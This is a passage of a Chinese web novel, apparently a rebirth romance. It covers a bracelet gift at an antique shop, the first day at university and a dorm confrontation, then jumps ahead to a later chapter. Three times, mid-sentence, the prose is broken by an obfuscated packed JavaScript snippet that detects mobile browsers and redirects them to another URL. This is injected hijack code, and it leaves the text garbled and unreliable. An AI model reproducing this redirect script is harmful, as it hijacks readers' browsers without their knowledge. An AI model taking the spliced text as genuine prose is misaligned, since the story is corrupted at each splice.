戚栩没再走近,虽然这些眼神没恶意,但过于热烈,不知道的还以为他多受欢迎。 “哇,他这形体适合当裸体模特。” “油画也可以,眼睛好漂亮。” “子慕,你的朋友介意我拍一张他的照片吗,他脸上的五官比例绝了,用来练习头像素描堪称完美。” “如果我大学的人体课的模特是他,我肯定每天都认真上。” 蒋子慕替戚栩一一拒绝:“我就是想让你们看一眼,谁让你们不信我,我朋友不当模特,我都不让画,还轮到得你们?” 有人笑着说:“那你比我们惨,我们只是见了一面,他是你的朋友,每天光看着也不能动手,手痒痒吧。” 蒋子慕承认:“手确实有点痒,想画。” 完美人体模特给画室的人看过一眼后,蒋子慕跟着戚栩他们离开。 下楼后,谢淮对徐亦辰说:“你们先上山,我们有点事。” 徐亦辰不解地看向两人:“你们?” 同一时间,戚栩开口:“我们?” 22. 第 22 章 谢淮和戚栩上车后,徐亦辰还依依不舍地看着两人:“就不能带上我们三个吗?你们两个弄得这么神秘去干什么,该不会是想撇下我们去过二人世界吧。” 谢淮面无表情关上副驾驶的车窗,明天就给这人扔去语文补习班。 “哎哎哎。”徐亦辰一边拍车窗一边说着,“真被我说中了,恼羞成怒。” 只见跑车嗡了一声,甩了徐亦辰一嘴巴的车尾气。 车上的戚栩倒也淡定,安静地坐在位置上一副任人摆布的模样,还有心情摆弄车载音响。 谢淮开车间隙扫了一眼凑到车载屏幕捣鼓的后脑勺:“想拆了这辆车?” “没,想看一看紧急报警按钮在哪里。”戚栩说得坦荡。 谢淮失笑,前方是红灯停了下来,乐于助人指了指天窗的位置:“在这。” 戚栩倚着靠背看着前方的红灯倒计时,懒懒道:“所以你要带我去哪里?” 谢淮转弯加速超过了前方的车辆:“怕我把你卖了?” 戚栩不在意地说:“到时候看看是谁把谁卖了。” 15分钟后,戚栩看到了个眼熟的招牌——古玩街。 谢淮带着戚栩走进秦越的店里,门铃叮当响,秦越正在泡茶,闻言抬头:“欢迎光临来到小店……” 看到来人,话锋一转:“呦,怎么这么有空来我店里,不是快要开学了么。” 谢淮侧身拉住了玻璃门,戚栩从门外进来。 秦越见状起身,挑了挑眉:“新朋友?” 他这个外甥身边拢共就那么几个人,徐亦辰,方倩,蒋子慕,再多的都是泛泛之交,带着家族利益去结交,哪曾像今天这样带着新朋友到他店里来。 他上前走去:“你好,我是秦越,谢淮的小舅。” 戚栩终于见到了十年前的老秦,没有留胡渣,但扎头发的发型是怎么一回事,从奸诈商人摇身一变文艺范。 “你好。”戚栩问好,“我是戚栩。” 秦越笑得可蔼可亲:“你可以跟着阿淮叫我小舅。” 每个家族都有一个叛逆不服管教的,秦越就是秦家那个不听话的人。 秦越独立于秦家的任何产业之外,也不和谢家有任何利益牵连,戚栩见过秦靖,谢淮的父母,唯独没见过他的小舅,以至于前世他并没有将古玩店的老板和金字塔顶的秦家联系在一起。 结合沈卓海对他万般不满,唯独对他常来这家古玩店赞不绝口,那时对方恐怕已经知道他的真实身份。 戚栩并没有跟着叫:“秦先生,打扰了。” 秦越闻言似笑非笑和谢淮对视,随后带着两人在茶桌落座。 谢淮看了眼腕表:“小舅,我来拿之前拜托你留的东西。” 秦越到里间捧着一个盒子出来,他这个外甥手腕上常年只有腕表:“前几天给我打电话说留手串,我怎么不知道你还有戴手串的习惯。” 谢淮把盒子放在戚栩面前:“打开看看。” 戚栩听到了关键词知道里面是手串,但没想到是沉香木手串,看品色比他之前扔掉的一串好不知道多少。 他却没有拿起来:“什么意思?” 秦越翘起二郎腿拿起茶杯抿了一口,饶有兴致地看着这两位年轻人,并且他还挺期待他外甥的回答,这是给人送惊喜礼物? 真稀奇。 谢淮看过去:“前阵子你到店里买的香炉我看错了价钱,标价5000,收多了你的钱,这是我作为当时的店员给予你相应的补偿。” 秦越:“……” 他放下了二郎腿。 戚栩:“……” “5000看成10000?” 谢淮理直气壮地说:“我对数字不太敏感。” 理科状元说这句话? 戚栩怀疑他在嘲讽什么。 他把手串拿起来认真地看,在心里估值:“手串的价值应该不止多收的4500吧。” “做生意讲究诚信经营,这是该赔偿给你这位客人的损失。”谢淮转头看向秦越,“小舅,你说呢。” 诚信经营好大的四个字,秦越作为狡诈商人有点接不住。 他干笑了一声,咬牙切齿:“是的,本店讲一个诚信经营,当时是他出错了,我也有责任。” 简直就是全责,当时就不该放任这臭小子在店里。 戚栩有点想不明白,也不知道谢淮出于什么目的:“都过去这么久了,现在才想起来吗?” 秦越算是看出谢淮今天来店里是坑他这个小舅的,不赔也要赔,已成定局。 他说:“前几天对账发现对不上找他问过,他才想起来这件事,他认识你,索性就让他负责赔偿的物品,经过深思熟虑找到你喜欢的东西。” 最后一句话若有所指,不知道戚栩能不能听明白。 戚栩确实缺一条手串,拿在手里盘了几下觉得手感很好:“你确定没有少看一个零?” 对数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15122234|164276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字不太敏感的谢淮直截了当:“没有。” 戚栩还想说什么,手机响了,是方倩打来的电话,应该是来催促他们。 谢淮说:“你先上车,我和小舅说点事。” 戚栩戴上手串出门接听电话。 没了外人在场,秦越一秒变了脸色:“你小子送个礼物还要坑我一把,戚栩,沈家刚回来的那位少爷,你让我哥调查的对象,是吧。” 谢淮抬手盖上手串盒:“多少钱,我给你转。” 秦越啧啧了两声:“愿意给钱,那就是把我当成你送手串的跳板,你怎么想的,送个礼物大动干戈想这么多理由。” 谢淮无任何情绪:“不是礼物,是赔偿,他刚来首都,无依无……多收了他的钱良心不安。” 秦越像是听到了什么好笑的事,笑出了声:“你还有良心呢。” 他上下打量着自己的外甥,说道:“是有大大的良心,你让我哥出手调查他的身世,摁住了多少蠢蠢欲动想拿这件事大做文章的人,我知道谢沈两家交好,难道好到让你动用秦家?” 谢淮的手随意敲了敲桌子没说话,垂着眸不知道在想些什么。 秦越的视线看向外头那位低着头身形高挑正在打电话的男生,继而收回来:“他刚刚没跟着你一起叫我小舅,这点倒是和沈家人不同,亲儿子不受宠被放在了沈老爷子那,整天带着个养子出席各种宴席,他倒是不争不抢。” 谢淮起身:“没什么事我先走了。” 秦越送谢淮到门口,嘴巴停不下来:“你和那小孩在一起的时候可别欺负人家,听说是个成绩好的孩子,也别把人带坏了。” 谢淮嗤笑:“欺负他?你是没看到他一打六的时候。” 秦越拍了拍谢淮的肩膀:“那你好好努力,别被打倒了,盛惠50000,给你打了骨折,转我银行卡。” 谢淮拿出手机:“信不信我打12315投诉你这家黑店。” 秦越:“……” 他摆了摆手:“算了,当做我这个小舅给他的见面礼吧,以后有机会把人带回家里。” 谢淮皱眉:“你在想什么?” 秦越嘴角噙着一抹坏笑,表现得一脸无辜:“亦辰他们不是都来过家里吗,你以为我在说什么?” 谢淮反手关上门没搭理他,秦越站在玻璃门后朝戚栩挥了挥手,看着那两位年龄相当的年轻人上了一辆高调而不引人瞩目的跑车。 多么美好的青春啊。 23. 第 23 章 开学当天,戚栩在群里收到来自徐亦辰的开学祝福—— 坚持住,还有四个月就放寒假了,各位大一新生,开学快乐。 群里骂声一片,但在出手阔绰徐少的开学红包中渐渐淡下,变成夸赞语言。 戚栩因为晚起没抢红包还被方倩私聊提醒,还在四人小群里@他,现在多了一个戚栩,变成五人群。 他什么时候和这四个人熟起来的,成人礼在别墅初见,在老宅一起插科打诨玩闹,还是因为那次没去成的酒吧,或者是一起上山吹风看日落。 不过两个月的时间。 这些事在前世不曾发生过,离家出走后他在外面租了房子,在夜场干活,日夜颠倒赚生活费。 如今细想,他竟然想不起来在哪个夜场,估计在那里没有什么值得留恋的事,他第一次碰烟喝酒也是在那个时候。 在戚家村过着这么艰难的日子没有染上烟瘾,因为他深知买烟需要钱,那个时候他不能浪费一分钱。 收到一个月的工资,戚栩第一件事买了一包烟,印证了男人有钱就会变坏这句话。 买的什么烟,是戚国辉十年如一日抽的最便宜的劣质烟。 从有记忆开始,戚国辉每次打他都会叼着这款烟,呛人的二手烟像不可逃脱的水蛭钻入他的鼻子,疯狂地吸着他的血。 以至于有一段时间他闻到这股味道都会应激,什么时候不再害怕,大抵是他青春期抽条后,长得比戚国辉高,力气比戚国辉大。 在戚国辉叼着烟对他动手的时候,他抢过对方嘴里的烟,把烟碾在了对方的脸上。 当他点燃嘴里的烟,真正尝到了在他身体留下过无数伤疤凶器的味道。 他可能有受虐的倾向,竟然会对这种味道着迷。 在价值将近千万的大平层,随处摆放着红色包装的劣质烟,戚栩觉得比无数的名贵烟还要过瘾。 重回18岁的他,两次拿出烟,但都被同一个人的出现阻止,他也鲜少再闻过二手烟的味道。 未染上烟瘾的好少年戚栩重新躺回床上,点开了两个小时前徐亦辰发的红包。 他是最后一个领红包,但领到了全场最大的红包。 然后被徐亦辰截图发上群里,连发了好几条问号轰炸他。 与此同时,房间门被敲响,李叔在门外叫戚栩起床,说今天是开学报到日。 老辈子都会对开学日格外的重视,戚栩洗漱完下楼,竟然发现在他的院子里点起了香,连同他的那个小香炉也插上了三支香。 走到正院的祭拜更为正式,佣人陆陆续续往佛室拿供品,处处可闻到檀香味,火盆里更有烧纸的灰烬。 还没有落座,就被李叔带到了佛室上香,他虽然每天坚持上香,但心底里没有任何信仰,尊重且理解。 李叔在一旁嘴里念念有词,仔细一听竟是保佑他身体健康,学业进步。 真把他当成小孩了。 上完香后,戚栩重新回到餐厅和老爷子用餐。 “开学日了还这么懒散,以后上学了每天八点上课看你怎么办。”老爷子这句话中听着多少有点幸灾乐祸。 戚栩和他贫嘴:“直接通宵不睡觉,完美解决这个问题。” 老爷子拿起拐杖打了一下他:“胡说八道没个正经,刚调理好身子有你这样糟践的吗,照你这个活法,不到一个星期直接打回原形。” “要是真的这样,我让人每天把药膳送到你学校。” 戚栩怕了,瞬间变成乖乖仔:“爷爷,我保证每天准时睡觉,上课不迟到,按时吃三餐,路程来回将近两个小时,司机太辛苦了。” 好说歹说终于撤回每日药膳。 两爷孙斗嘴归斗嘴,戚栩看到老爷子拿出一个红包时,他脸上有些动容。 以前他大学每年的开学日都会收到老爷子让人送过来的开学红包,这一次他亲手接过。 沈老爷子说:“开学利是讲究意头,好好学习,天天向上。” 红包并不厚,戚栩安心地接受:“谢谢爷爷。” 沈老爷子拿起茶盏看他,轻咳了一声:“那件事你做得很好。” 没完全下死手,又足以给了对方一个警示。 前几日谢炳康那老家伙看人闹不嫌事大,对这件事的处理方式赞不绝口,说是有他年轻时的风范。 沈老爷子自认比不上,青出于蓝胜于蓝,戚栩精准扼住了对方的命脉。 他这个孙子行事风格确实像年轻时的他,什么都好,但就是没什么野心,踢一踢就往前动一动,要是放任不管的话,能在原地支个椅子躺一辈子。 戚栩从来都不谦虚:“我说了,我会让他离开首都。” 这件事曝光重创了宋家的名誉,为了保住宋若明,宋家走动了许多关系,又利用法律的不完善好不容易将宋若明保释出来,当天晚上把人送出国外。 沈老爷子听见说话的语气呵斥了他几句,但不难听出话语中无任何责怪,但有些无可奈何。 “混小子。”他看了李叔一眼,后者在戚栩面前递过一份名单,“我手里的这些人都跟着你了,有事你可以吩咐他们做。” 又来了,戚栩说:“我不需要。” 沈老爷子说一不二:“什么不需要,那件事你让徐家那小子出头,不知道的还以为我们沈家没人,人家有的你也要有,咱们沈家家大业大不缺那么几个人。” 李叔在一边劝道:“小少爷你就要了吧,不然老爷子在各位家族的老先生面前没面子,就因为这件事笑话了他好一阵子。” 戚栩看到那份名单上全都是老爷子的心腹,犹豫着半晌没说接受的话。 沈老爷子问:“你是不是没把我当成你爷爷。” 在沈家,曾云和沈枫凯说这些话的时候戚栩还能随便应付,毕竟他确实没把他们当做家人。 但老爷子不同,是他上一世唯一的家人。 最终戚栩还是接受了:“我没什么事需要他们帮我做。” 老爷子心情很好,颇有种压在箱底的人终于送出去的轻松,摆了摆手说:“随你,现在都是你的人。” 午饭后,戚栩回房间继续收拾东西。 沈老爷子哼声道:“我还以为这臭小子油盐不进,今天还算听话。” 李叔为他倒茶:“小少爷心地软,重情重义,您在他心中是排第一,以你为重。” 沈老爷子想到了自家那位不孝子,重重地叹气:“既然他们拎不清不明事理,那我就替他们管了,有我在一天就能护住他一天。” 李叔连忙抚着老爷子的后背:“您定会长命百岁,小少爷以后结婚生子,还得让您照看重孙子。” 戚栩收拾好东西下楼,门口有个陌生的男人接过他手上的行李。 身形强壮,穿着一身便服,目光犀利,浑身上下都是进行过训练的痕迹。 “小少爷,我是陈威,今后负责你的出行。” 戚栩没想到老爷子这么快就让人到他的身边,怕他反悔似的。 戚栩朝他点了点头:“麻烦你了。” 佣人已经把住宿的行李全部搬到后备箱,商务车装得满满当当。 上一世戚栩在校住宿了四年,习惯住宿生活。 只是这世不同以前,公司还没有步入正轨,还有很多事需要他亲力亲为,住宿怕是不方便他做事,可能很快就要搬出来。 戚栩拿着随身行李上车,沈老爷子被李叔扶着出来,他降下车窗懒懒地朝老爷子挥爪子:“爷爷,放假我就回家,你别太想我。” 老爷子听到回家这两个字心底柔软,难得没和他斗嘴,只是默默地看着离去的车辆。 本地学校有本地学校的好处,睡到大中午才出门报道,路上戚栩在看李恺兴发过来的项目方案,一个不留神就到学校 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15122235|164276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 戚栩下车到新生报到处报到,陈威则是一直跟在他身后。 “学弟,你是什么专业?”负责接待新生的学姐热情地问,时而碰了碰一旁的朋友。 戚栩说:“经济与金融。” 学姐带着戚栩往左边走:“经管学院是吧,这边。” 戚栩在签到本上签字,找到自己的名字和宿舍后,拿着开学须知朝接待的学长学姐道谢。 学姐非常热情:“学弟,需要我们帮忙拿行李吗?我们有身强体壮的学长。” 戚栩笑笑:“不用了,谢谢学姐。” 等到戚栩走了后,学姐忍不住对身旁的人说:“今年的经管怎么回事,这么多帅哥吗,一下午我都接待好几个了,我们计算机什么时候才能崛起。” “今年新生什么时候军训?我一定要到经管阵营瞅瞅。” “好像下个星期一就要军训,搬好椅子找好位置。” “让我看看这几个帅哥是不是同一个班,到时候好一览无余。” 戚栩看到陈威一个人提着大部分的行李扬眉:“你的力气很大。” 陈威不苟言笑:“比我们在部队的时候负重训练轻松些。” 果然是从部队退役出来的。 宿舍楼没有电梯,好在宿舍在三楼,不是高楼层,两个男人一口气将行李全部拎上了三楼。 314,戚栩拉着行李箱走到门口,宿舍坐着一个人,看到戚栩朝他挥了挥手:“你好,同学,我叫李彦。” 戚栩放下行李:“你好,戚栩。” 李彦刚想上前拿行李,发现戚栩身后还跟着个人,看着应该是家人。 “刚刚辅导员过来通知每个宿舍派两个人去拿教材,他们两个去拿了。” 戚栩大概扫了一眼经管的宿舍,和他上一世计算机学院的差不多。 陈威手脚利索地帮戚栩收拾生活用品,而戚栩收拾私人物品。 走廊传来声音,不一会儿有人在门外喊:“李彦,开个门,没手。” 李彦连忙跑去开门,看到两人捧着一摞书,都快把人给挡住了:“这么多书?” “你去帮谢淮拿点,他比我多。” 刚从阳台洗完毛巾的戚栩听到熟悉的名字顿住了,随后看向门口。 隔着两人四目相对才发觉不是同名同姓,而是同一个人。 李彦说:“谢淮,我帮你拿。” 谢淮捧着书自若地走进宿舍:“不重。” 陈威帮戚栩放好洗漱用品也从阳台出来,继续帮戚栩整理书桌,被戚栩抬手拦住了,他摇了摇头:“我自己来。” 谢淮放好书抬眸看向陈威,后者警惕地察觉到这束视线来者不善,直面迎击。 李彦丝毫没察觉这几个人的暗潮涌动,忙着介绍:“这是我们最后一位舍友戚栩,和他的哥哥。” 戚栩对陈威说:“你先出去等我。” 陈威应下后,径直走出宿舍。 冯振杰打招呼:“你好,我叫冯振杰。” 戚栩点头:“你好,戚栩。” 谢淮分好两份书籍:“放哪?” 没带名也不知道是和谁在说话。 冯振杰刚想回,听见戚栩说:“先放你那,我还没有整理好桌子。” 李彦终于察觉到不对,好奇地问:“你俩认识啊?” 谢淮扫了一眼隔壁床的被褥:“邻居。” 戚栩并没有插口谢淮对外介绍他们的关系,确实是邻居没错,也没别的关系。 冯振杰拍手直呼:“缘分啊,在外是一墙之隔的邻居,在学校是头碰头一起睡的舍友,延续亲密无间的关系。” 戚栩:“……” 他看向谢淮,后者拉开椅子坐下来,抬头和他对视:“怎么了舍友。” 看来这人接受良好。 戚栩继续整理桌子:“没事。” 24. 第 24 章 戚栩收拾好东西到走廊和陈威说话:“你回去吧。” 陈威说:“小少爷,我把我和钟艾明的联系方式放在你桌子上,有事随时吩咐我们。” 戚栩问:“钟艾明?” “他属于长得比较斯文那挂,比较适合出面和别人交涉一些事。”陈威有些憨厚摸了一下脑袋,“我长得比较凶,有些人看到我比较害怕。” 沈老爷子给他留的人还比较全面,连性格外貌这点都考虑得当。 戚栩点头:“有事会联系你们。” 陈威犹豫了会儿还是把刚刚和那位新生的事和戚栩说:“小少爷,你要对隔壁床位那位舍友留个心眼,刚刚他一进来就盯着我看,我怕他对你有什么企图。” 戚栩失笑不已:“他不会对我有什么企图。” 陈威皱眉,他是部队的狙击手很会观察人,这也是沈老分派到戚栩身边的一个理由。 虽然那人的眼神无任何波澜,他分明从对方的眼神中察觉一丝探究,转瞬即逝,直觉告诉他这人很不好对付。 他最怕这种高智商玩心眼的人。 “小少爷,还是要留个心眼。” 戚栩告诉他:“我隔壁是谢老的孙子。” 陈威原地石化,一脸郑重地道歉:“小少爷对不起,刚刚那些话你可以当我是放屁。” 上班第一天惨遭滑铁卢。 陈威走了后,戚栩回到宿舍。 李彦问:“你哥走啦。” 戚栩“嗯”了一声。 随后李彦立即关上宿舍门,一副神神秘秘地模样:“那就开启属于我们314四年之旅,第一步面对面加个好友拉个群。” 李彦和冯振杰看到戚栩的vx名纷纷开口。 “戚栩,你这名字牛逼。” “混吃等死,你怎么起这个名?” 戚栩一一通过好友,意简言骇:“毕生梦想。” 李彦结合自己的梦想:“看来我得取个一夜暴富,这也是我的毕生梦想。” 加好群后,他们开始自我介绍。 冯振杰来自山城,热情邀请他们三人放假去玩,李彦来自南方一个沿海城市。 “你们两个是本地的?”冯振杰问。 谢淮回:“是。” 李彦好奇地问:“你怎么知道?偷偷调查过?” 冯振杰和谢淮同一时间到门口报道,看到他上了一辆本地车牌的劳斯莱斯,而且对方脚下那双球鞋,他在网上看过五位数,谢淮的家境非富则贵。 本以为这种富家子弟高高在上很难相处,特别是首都的富家子弟,总有高人一等的感觉。 这是他以前对这些富家子弟的刻板印象。 然而谢淮主动和他一起搬书,又开口提醒他注意前面不平的路段,好像也没这么难相处。 当然,冯振杰不可能把这些事当众说出来,这只是他的个人想法。 “谢淮的微信地区不是写了么,他们是邻居,那不就是两人都是本地。” 李彦恍然大悟:“哦,原来是这样。” 他们又聊了些有的没的,主要还是冯振杰和李彦在说话,这两个纯纯的社交恐怖分子,连隔壁宿舍的人都加上微信了。 戚栩和谢淮被迫社交,没一会儿通讯录就多了几个新好友。 五人小群99+的新消息,点开一看几乎都是徐亦辰发的牢骚。 方倩在R大,徐亦辰在B大,蒋子慕在美术学院,戚栩和谢淮在Q大,这四所学院离得并不是很远,最远两所开车半个小时。 但对徐亦辰来说,这是世界上最遥远的距离,明明前几天他们才聚在一起。 戚栩大发善心在群里回复了一个句号,然后徐亦辰更来劲儿了。 “搭理他干什么。”谢淮把手机放在桌上,并不打算理会发疯的兄弟。 戚栩退出了聊天框:“手滑。” 下一秒,谢淮的手机响了,是徐亦辰打来的电话。 谢淮接通,还没来得及说话就被徐亦辰飞快的语速炮轰:“戚栩在群里发了个句号就没了踪影,你和他同校,赶紧看看去,别又出了什么事。” 谢淮说:“你自己打个车过来看。” 徐亦辰骂了一句:“你怎么这么冷血无情,做个人吧。” 谢淮看着隔壁桌双手随意搭在书桌上翻看手机的戚栩,另一手还在盘手串,半垂着眼睛,浑身的慵懒劲儿,像只没睡醒的猫咪。 “他没出事。” 徐亦辰以为谢淮在敷衍他:“你怎么知道?” 戚栩正在看在车上没看完的文件,手机屏幕小,看得眼睛酸,正想着花点公家经费买台笔记本。 眼前出现和他的同款手机,再看到屏幕上徐亦辰三个字,戚栩和谢淮对视了一眼,接着朝手机“吱”了一声。 谢淮无意识地弯了弯嘴角。 不出意外,徐亦辰的大嗓门从听筒传出来:“什么意思?你俩同一个宿舍?我去,我和阿淮高中三年都没分到同一个宿舍,你们才认识几天,正缘来了挡也挡不住。” 戚栩退开了点,问谢淮:“你帮他请中文老师了吗?” 前几天听徐亦辰说过谢淮要帮他请中文老师,当时的他不明所以为什么高考完还要补习,现在他知道了。 谢淮把手机收回来:“初教班嫌他年龄过大,他又没到进阶的水平,只能得过且过。” 徐亦辰听到这番话即将骂人,谢淮挂了电话。 徐亦辰气急败坏在群里给谢淮发通缉令,以及和他一起同流合污的戚栩。 戚栩拒绝了李彦和冯振杰一起逛校园的邀请,自己一个人宿舍处理李恺兴给他方案。 谢淮也跟着出门去了。 戚栩对于和谢淮同一个宿舍这件事心如止水,因为谢淮很快就会搬出宿舍。 前世每逢放假沈家的司机过来载他和沈泽予回家,沈泽予都会和司机说到学校附近某个小区接他,因为那是谢淮在校外的住所。 戚栩往后在椅背上靠了靠,仰头去看隔壁的床位,深蓝色的纯丝面料平铺,上面不见一条折痕,能看得出来被褥主人的性格,一丝不苟强迫症似的。 再看看他随意扔在床铺上堆成一团的被子,形成了鲜明的对比。 宿舍门被敲了几下,戚栩说:“进。” 门外的人没第一时间推开门,两秒后才推开,戚栩朝门口看,沈泽予站在门外。 不可能是来找他,所以戚栩没搭理他。 “阿淮呢?”沈泽予嫉妒地盯着宿舍里的戚栩,这个人凭什么和谢淮同一个班同一个宿舍。 那束眼神都快把他盯出窟窿来了,戚栩头也没抬:“不知道。” 沈泽予走了进去,不再掩藏自己,把自己对戚栩的厌恶全都表现出来:“你是不是很得意,觉得自己融进了这个圈子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15122236|164276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐亦辰他们把你当成朋友?” “你把这个圈子想得太简单了,他们只是可怜你而已,可怜你抱错,可怜你被人欺负,他们这些天骄之子圣母心泛滥,把你圈入他们的保护范围,你还真觉得你和他们是同一层地位。” 戚栩从座位上起身,似笑非笑地上前,缓缓地开口。 “抱错?别说着说着真把自己给骗了,请你谨记是偷换,你那位贪婪卑鄙的亲生母亲把我和你调换了,还有我被欺负?是谁被举报校园暴力拘留,保释出来后狼狈出国,也没来得及和你告别,他倒是对你用情至深啊,你怎么也没出国陪着人家。” 沈泽予听到这番话的时候脸色全白,默默地往后退了一步。 “你别把什么关系都扣在我的头上,宋家不会放过你的。” 戚栩笑了出来,垂眸看着他:“要不放过早就出手了,还在等什么,等你出来指控我?” “我不会指控你,你是爸爸妈妈的亲生儿子,我知道你不喜欢我,但我一直把你当成二哥。”沈泽予不知道发什么疯忽然变了个样说这些话。 戚栩顿时觉得恶心无比,刚想说什么余光看到门口站了个人。 他忍无可忍地说:“滚吧。” 沈泽予故意地转身,朝门口的人喊:“阿淮,你去哪里了?” 戚栩回到座位戴上耳机,早知道他就跟着冯振杰他们逛校园,即使上一世都逛过,旧地重游也比现在待在这里好。 他可没兴趣看你侬我侬的戏码。 谢淮把一袋矿泉水放在戚栩桌上:“明天才能领饮水机,今晚先喝这些。” 戚栩摘下耳机:“他们的呢?” 谢淮说:“他们逛完之后自己买。” 戚栩问:“多少钱,我转给你。” 谢淮:“不用。” 戚栩抬眸看他:“我不喜欢欠别人钱。” 谢淮垂眸无言地和他对视。 戚栩刚抬手打开塑料袋,还没碰到袋子,先碰到了另一只手,同样节骨分明但比他大。 哗啦,塑料袋在两只手相碰的瞬间响起了噪音,在寂静的寝室格外的响亮。 沈泽予皱了皱眉,强行插入两人的对话:“阿淮,我有点事和你说,能和我出去一下吗?” 戚栩戴上耳机没再和谢淮说话,专心看他的文件。 谢淮和沈泽予在走廊上说话,没多久两人就一同离开,直到晚上戚栩和宿舍两人吃完晚饭回寝室谢淮也还没有回来。 回到宿舍的戚栩看到桌上矿泉水想起来一件事:“你们到商店买的矿泉水多少钱?” 李彦张了张嘴:“宿舍没饮水机,忘了买矿泉水。” “等会下去买吧。”冯振杰转头回戚栩,“什么矿泉水多少钱?” 谢淮不是和他们一起下楼的吗? 戚栩单纯以为这两人忘记了,把袋子里的矿泉水分给两人:“别来回走一趟了,等会谢淮回来你们给他转钱吧。” 戚栩洗完澡上床,床边的手机震了震。 他还没拿起来看,还在床铺下的冯振杰说:“谢淮在群里说今晚不回宿舍,不用给他留门。” 戚栩没有拿起手机,躺下来进行睡前盘手串运动。 李彦从浴室出来看到戚栩已经上床不免放轻脚步:“戚栩,你睡这么早啊。” 戚栩闭着眼睛打了个哈欠:“我觉多,你们继续,我等会戴耳塞。” 50-60 第51章 第 51 章 课后十分钟, 戚栩眼睁睁地看着谢淮把律师函用彩信的形式发给骚扰号码。 这下戚栩真的见识到谢淮手下的人多有实力,律师函下的盖章那家律师所是行业大佬,背靠着数不清的世家。 至少以沈家的背景请不到这个律所, 还不够格。 单单一个简单的信息骚扰事件竟然出动了顶级律所, 戚栩瞬间觉得自己身价倍增。 戚栩只查到了号码的所属地是在首都,他凑过去看了一眼电话号码的准确登录ip,问:“你怎么查得这么清楚,连他的网络登录ip也查出来了。” 谢淮说:“我的人查到他用这个号码注册了某软件,只要他用网就能查得出来。” 戚栩知道那是个借钱的app, 谢淮的人只用两节课的时间就查到了这么多,不是一个两个人就能完成的事,而是有一个完美配合的团队。 前世他知道秦家和谢家给了谢淮多少豪华的人力资源, 单是一个助理都是H大毕业。 曾经李恺兴偷摸地打听过对方助理的年薪,比他这个项目总监还要多,人家收的是美金。 李恺兴曾经一度想带着戚栩跳槽, 第一步就被谢淮的团队的门槛给难住了,学历研究生以上, 他们两个本科学历只能报团取暖。 在国内调取ip地址是踩红线,这个时候他担心起谢淮,低声问:“查得这么细会不会触碰法规?” 谢淮开口提醒他:“小心撞墙。” 戚栩:“……” 他愣了一会儿才反应过来对方在说他的贪吃蛇, 戚栩使用道具暂停,无语地看着他。 谢淮反问:“担心我?” 戚栩好声没好气地说:“担心鬼。” 谢淮和他说明:“我有一部分人在港岛, 没事的。” 港岛?所以谢淮在港岛真的有产业。 这会儿戚栩得到了证实, 前世谣言此时有迹可循, 让他惊讶的是现在就开始发展了吗, 谢淮才18岁。 戚栩指着那串数字问:“是在我们学校?” 谢淮扫了他一眼:“不是说没有怀疑的对象吗?” “是没有,但那个傻逼提到军训照, 我猜想应该是学校里的人,不然他从哪里认识我?”戚栩有理有据说着,却不曾想到那条不堪入目的信息已经被他删除。 谢淮对军训照这条骚扰信息没印象:“哪条?什么内容。” 国庆假期后,戚栩总感觉谢淮对他的态度似乎发生一丝转变,不是疏远而是见缝插针地关怀。 比如问他喜不喜欢男人,又比如这会儿直接拿着他的手机去调查他的事。 而他自己的态度呢,似乎过于放纵谢淮,让对方明目张胆地插手。 如今戚栩虽说是18岁的身体,心态依旧28岁,习惯了一个人解决所有的事,一个人顶着的境地。 当了几年上位者,亲情疏离,至亲离世,他的情感淡薄,心里的不信任越发严重,身心信任的人唯有他自己,就算是他的得力助手李恺兴也不是例外。 谢淮的出现犹如他在孤立无援中遇到的一叶泛舟,前世的戚栩不会看他一眼,更不会和他共乘,只会独自制作一艘可以让自己离开困境的船只。 现在的戚栩呢,会允许谢淮下船帮他制作船只,谢淮的一叶泛舟只限一人上船,戚栩会撑船和他一同离开。 戚栩清楚,这辈子他和谢淮的关系已经和上辈子不一样,他正在参与谢淮18岁这段时光,而谢淮也在融入他的18岁时光,或许以后的生活也有他的存在。 戚栩第一次真心交朋友,对方问到的问题他应该知无不答。 戚栩凑到谢淮耳边,低声说:“对着我的军训照自。慰,这点存疑,可能是故意恶心我,我没有单独拍过军训照,在几十个人里精准找到我并且产生欲望,除非他是精虫转世。” 谢淮久久没有回应,戚栩退开了点去看他的表情,没多少波动。 不过那张脸是真的好看,戚栩细细看着对方的侧脸,他默默收回那句28岁谢淮更帅的那句话,18岁的谢淮也有别样的魅力。 戚栩一时忘记了无论多么有手段,现在的谢淮只有18岁。 “淮哥,这么纯吗?” 不至于吧,难道谢家不给上性教育课? 